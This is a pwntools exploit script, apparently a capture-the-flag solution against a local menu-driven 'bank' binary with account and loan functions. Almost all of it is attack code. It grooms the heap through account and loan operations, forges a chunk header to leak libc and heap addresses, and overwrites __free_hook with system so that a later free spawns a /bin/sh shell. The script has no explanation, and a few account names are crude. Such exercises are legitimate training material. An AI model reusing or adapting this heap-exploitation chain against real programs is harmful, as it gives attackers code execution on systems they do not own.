1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170
| from pwn import *
elf = ELF('./pwn') r = process('./pwn') libc = ELF('./libc.so.6')
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
def query(): r.recvuntil(b'your choice : ') r.sendline(b'Query')
def new_account(account, password, money): r.recvuntil(b'your choice : ') r.sendline(b'new_account') r.recvuntil(b'please input the account id') r.sendline(account) r.recvuntil(b'please input the password') r.sendline(password) r.recvuntil(b'please input the money') r.sendline(bytes(str(money), encoding='utf8'))
def delete_account(password): r.recvuntil(b'your choice : ') r.sendline(b'Cancellation') r.recvuntil(b'please enter the password') r.sendline(password)
def update_info(new_password, old_password): r.recvuntil(b'your choice : ') r.sendline(b'Update_info') r.recvuntil(b'please entet a new password') r.sendline(new_password) r.recvuntil(b'please input your password.') r.sendline(old_password)
def loan_money(amount, comments): r.recvuntil(b'your choice : ') r.sendline(b'Loan_money') r.recvuntil(b'Please enter the loan amount (no more than 1 million).') r.sendline(bytes(str(amount), encoding='utf8')) r.recvuntil(b'Please leave your comments.') r.sendline(comments)
def repayment(amount): r.recvuntil(b'your choice : ') r.sendline(b'Repayment') r.recvuntil(b'How much do you want to repay?') r.sendline(bytes(str(amount), encoding='utf8'))
def show_all_loan(): r.recvuntil(b'your choice : ') r.sendline(b"I'm vip!")
def exit_account(): r.recvuntil(b'your choice : ') r.sendline(b'Exit_account')
def login(account, password): r.recvuntil(b'your choice : ') r.sendline(b'login') r.recvuntil(b'please input the account id') r.sendline(account) r.recvuntil(b'please input the password') r.sendline(password)
for i in range(10): new_account(bytes(chr(0x61 + i), encoding='utf8')*0x20, bytes(chr(0x31 + i), encoding='utf8'), 0x100) exit_account()
for i in range(10): login(bytes(chr(0x61 + i), encoding='utf8')*0x20, bytes(chr(0x31 + i), encoding='utf8')) loan_money(0x100, b'dzhsb') exit_account()
new_account(flat(0, 0x461, [0]*2), bytes(chr(0x31 + 10), encoding='utf8'), 0x100) exit_account()
for i in range(4): new_account(bytes(chr(0x61 + i + 11), encoding='utf8')*0x20, bytes(chr(0x31 + i + 11), encoding='utf8'), 0xffffffff) exit_account()
login(flat(0, 0x461, [0]*2), bytes(chr(0x31 + 10), encoding='utf8')) loan_money(0x100, b'dzhsb') exit_account()
login(flat(0, b'dzhsb\x00', b'a'*0x12), flat([0])) delete_account(flat(0))
login(b'o'*0x20, b'?') show_all_loan() r.recvuntil(b'jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj') r.recvuntil(b'Loan account :') r.recv(0x10)
libc_base = u64(r.recv(8)) - 0x1ecbe0 print(hex(libc_base)) system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + 0x1eee48
exit_account() new_account(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00', 0x100)
exit_account() new_account(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7, 0x100)
exit_account() new_account(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6, 0x100)
exit_account() login(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7) delete_account(b'X'+b'\x00'*0x7) login(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00') delete_account(b'/bin/sh\x00')
login(b'n'*0x20, b'>'.ljust(8, b'\x00')) show_all_loan() r.recvuntil(b'jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj') r.recvuntil(b'Loan account :') r.recv(0x10) heap_base = u64(r.recv(8)) - 0x5d0 print(hex(heap_base))
exit_account() new_account(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00', 0x100)
exit_account() new_account(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7, 0x100)
exit_account() login(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6) delete_account(b'SB'+b'\x00'*0x6)
login(b'196082'+b'\x00'*(0x20-0x6), b'X'+b'\x00'*0x7) delete_account(b'X'+b'\x00'*0x7)
password = heap_base + 0x620 account = heap_base + 0x10
login(flat(account).ljust(0x20, b'\x00'), flat(password)) update_info(flat(free_hook, [0]*4), flat(password))
exit_account() new_account(b'fuck_man'+b'\x00'*(0x20-0x8), b'SB'+b'\x00'*0x6, 0x100)
exit_account() new_account(b'\x00'*0x20, flat(system_addr), 0x0) exit_account() login(b'elephant'.ljust(0x20, b'\x00'), b'/bin/sh\x00') delete_account(b'/bin/sh\x00')
r.interactive()
|